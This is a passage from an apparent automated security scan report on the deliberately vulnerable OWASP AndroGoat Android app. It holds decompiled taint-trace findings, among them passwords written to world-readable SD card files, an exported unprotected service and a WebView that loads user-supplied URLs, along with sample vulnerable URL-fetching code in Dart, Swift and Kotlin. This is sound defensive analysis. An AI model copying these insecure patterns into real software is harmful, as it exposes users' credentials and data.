owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.<init>()` :

```
    AccessControlIssue1Activity$verifyPINView$1(owasp.sat.agoat.AccessControlIssue1Activity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()` :

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165335));
        android.widget.Toast v1_9 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_9.createPIN(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN not created), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN created. Please Login), 1).show();
            this.this$0.verifyPINView();
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
```

```
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()` :

```
    AccessControlIssue1Activity$onCreate$1(owasp.sat.agoat.AccessControlIssue1Activity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
```

```
        }
        return;
    }
```

### Finding #13

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.AccessControlIssue1Activity` found at `owasp.sat.agoat.AccessControlIssue1Activity` . From parameter `0` to sink `void owasp.sat.agoat.AccessControlIssue1Activity.startActivity(android.content.Intent)` . Taint trace:

```
at owasp.sat.agoat.AccessControlIssue1Activity.startActivity()
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()
at android.content.Intent.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()` :

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
```

```
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.<init>()` :

```
    AccessControlIssue1Activity$verifyPINView$1(owasp.sat.agoat.AccessControlIssue1Activity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()` :

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165335));
        android.widget.Toast v1_9 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_9.createPIN(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN not created), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN created. Please Login), 1).show();
            this.this$0.verifyPINView();
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()` :

```
    AccessControlIssue1Activity$onCreate$1(owasp.sat.agoat.AccessControlIssue1Activity p1)
    {
        this.this$0 = p1;
        return;
```

```
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

### Finding #14

Input source is used to call sink method Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
```

```
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #15

Input source is used to call sink method Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
```

```
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Recommendation

Recommendation varies on the class of vulnerability identified.

---

POTENTIALLY **41. Services declared without permissions**

**CVSS v3:** 3.4

Declared services are not protected with global permissions.

`service` is an application component that can take care of actions to be done in the background, without user interaction. `service` can also be used to expose functionalities to other applications. This corresponds to calls to `Context.bindService()` to establish a connection to the service and interact with it.

Unprotected services can be invoked by other applications and potentially access sensitive information or perform privileged actions

### Technical Details

#### Finding #1

Service exported without permissions.

```
<service xmlns:android="http://schemas.android.com/apk/res/android" android:name="owasp.sat.agoat.DownloadInvoiceService"
android:enabled="true" android:exported="true"/>
```

### Recommendation

`service` can expose several methods to external components. It is possible to define arbitrary permissions for each method using the method `checkPermission` .

It is also possible to separate services and restrict access by enforcing permissions in the manifest's `<service>` tag.

**XML**

```
<permission android:name="co.ostorlab.custom_permission" android:label="custom_permission"
            android:protectionLevel="dangerous"></permission>

<service android:name="co.ostorlab.custom_service" android:permission="co.ostorlab.custom_permission">
<intent-filter>
    <action android:name="co.ostorlab.ACTION"/>
</intent-filter>
</service>
```

The service can enforce permissions on individual IPC calls by calling the method `checkCallingPermission` before executing the implementation of that call.

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N |
| Attack Vector: | Network (N) · Adjacent (A) · **Local (L)** · Physical (P) |
| Attack Complexity: | **Low (L)** · High (H) |
| Privileges Required: | None (N) · Low (L) · **High (H)** |
| User Interaction: | **None (N)** · Required (R) |
| Scope: | Changed (C) · **Unchanged (U)** |
| Confidentiality: | High (H) · **Low (L)** · None (N) |
| Integrity: | High (H) · **Low (L)** · None (N) |
| Availability: | High (H) · Low (L) · **None (N)** |

### References

- Service (Android Developer Documentation)
- CWE-280: Improper Handling of Insufficient Permissions or Privileges
- Security Decisions Via Untrusted Inputs (OWASP Mobile Top 10)

---

POTENTIALLY

## 42. URL Manipulation

An attack can control the URL used by an application to fetch content, it poses a security risk as the attacker can manipulate the content, leading to the execution of malicious code or the theft of sensitive information.

When an attacker gains control over the URL used by an application to fetch content, it introduces a critical security risk. By manipulating the URL, the attacker can redirect the application to a malicious server or inject their own content into the response. This can lead to various security vulnerabilities and potential consequences. For instance:

- Code Execution: The attacker may alter the URL to point to a server they control, enabling them to deliver malicious code to the application. This code could exploit vulnerabilities in the application, execute arbitrary commands, or install malware on the user's system.
- Data Theft: By redirecting the application to a fraudulent server, the attacker can trick users into entering sensitive information such as login credentials, credit card details, or personal data, which can then be captured and misused.
- Content Manipulation: The attacker can modify the content retrieved by the application, altering the displayed information or injecting malicious scripts. This can lead to various consequences such as displaying misleading information, defacing webpages, or conducting phishing attacks.
- Supply Chain Attacks: If the application fetches content from external sources, such as libraries or plugins, controlling the URL can allow the attacker to replace legitimate resources with compromised or malicious versions. This can compromise the security of the entire system.

Below is a sample code of an application fetching attacker controlled input:

**DART**

```
 import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;

class MainActivity extends StatefulWidget {
  final String url;

  MainActivity({required this.url});

  @override
  _MainActivityState createState() => _MainActivityState();
}

class _MainActivityState extends State<MainActivity> {
  String? content;

  @override
  void initState() {
    super.initState();
    fetchContent(widget.url);
  }

  Future<void> fetchContent(String url) async {
    try {
      final response = await http.get(Uri.parse(url));

      if (response.statusCode == 200) {
        setState(() {
          content = response.body;
        });
        // TODO: Process the fetched content here
      } else {
        // Handle error response
      }
    } catch (e) {
      // Handle network or API call error
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Fetching URL Content'),
      ),
      body: Center(
        child: content != null
            ? Text(content!)
            : CircularProgressIndicator(),
      ),
    );
  }
}
```

SWIFT

```
 import UIKit

class AppDelegate: UIResponder, UIApplicationDelegate {

    var window: UIWindow?

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
        // Handle deep link URL if the app was launched from a URL
        if let url = launchOptions?[.url] as? URL {
            handleDeepLink(url)
        }
        return true
    }

    func application(_ application: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
        // Handle deep link URL when the app is already running
        handleDeepLink(url)
        return true
    }

    private func handleDeepLink(_ url: URL) {
```

```
        // Check if the URL scheme is "ostorlab"
        if url.scheme == "ostorlab" {
            // Extract the URL from the deep link
            if let deepLinkURL = URL(string: url.absoluteString.replacingOccurrences(of: "ostorlab://", with: "")) {
                // Fetch the content from the provided URL
                fetchContent(deepLinkURL)
            }
        }
    }

    private func fetchContent(_ url: URL) {
        URLSession.shared.dataTask(with: url) { (data, response, error) in
            if let error = error {
                print("Error fetching content: \(error.localizedDescription)")
                return
            }
            if let data = data, let content = String(data: data, encoding: .utf8) {
                // Process the fetched content here
                print("Fetched content: \(content)")
            }
        }.resume()
    }
}
```

KOTLIN

```
 import android.content.Intent
import android.net.Uri
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.launch
import java.io.BufferedReader
import java.io.InputStreamReader
import java.net.HttpURLConnection
import java.net.URL

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // Get the URL from the intent
        val intent: Intent = intent
        val url: String? = intent.getStringExtra("url")

        if (url != null) {
            // Fetch the content from the provided URL
            GlobalScope.launch(Dispatchers.IO) {
                val content: String? = fetchContent(url)
                // Process the fetched content as needed
                if (content != null) {
                    // TODO: Process the fetched content here
                }
            }
        }
    }

    private fun fetchContent(urlString: String): String? {
        var connection: HttpURLConnection? = null
        var reader: BufferedReader? = null

        try {
            val url = URL(urlString)
            connection = url.openConnection() as HttpURLConnection
            connection.requestMethod = "GET"

            // Check if the response code is successful
            if (connection.responseCode == HttpURLConnection.HTTP_OK) {
                reader = BufferedReader(InputStreamReader(connection.inputStream))
                val response = StringBuilder()
                var line: String?

                // Read the response line by line
                while (reader.readLine().also { line = it } != null) {
                    response.append(line)
                }
```

```
                return response.toString()
            }
        } catch (e: Exception) {
            e.printStackTrace()
        } finally {
            // Close the connection and reader
            connection?.disconnect()
            reader?.close()
        }

        return null
    }
}
```

### Technical Details

#### Finding #1

The parameter at position: `0` of the method `loadUrl` in the class `WebView` is controlled by an attacker and can be used to retrieve malicious content. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsWebViewURLActivity`. The TaintElement is coming from: Class `InputValidationsWebViewURLActivity` Method `onCreate` Position `0` Signature `(Landroid/os/Bundle;)V`. Call trace:

```
 at android.webkit.WebView.loadUrl
at owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
at owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.<init>
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
```

at `android.webkit.WebView.loadUrl`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p4)
    {
        android.webkit.WebSettings v0_1 = this.$webview11.getSettings();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_1, webSettings1);
        v0_1.setJavaScriptEnabled(1);
        String v1_4 = this.$url;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, url);
        this.$webview11.loadUrl(v1_4.getText().toString());
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.<init>`

```
    InputValidationsWebViewURLActivity$onCreate$1(android.webkit.WebView p1, android.widget.TextView p2)
    {
        this.$webview11 = p1;
```

```
        this.$url = p2;
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
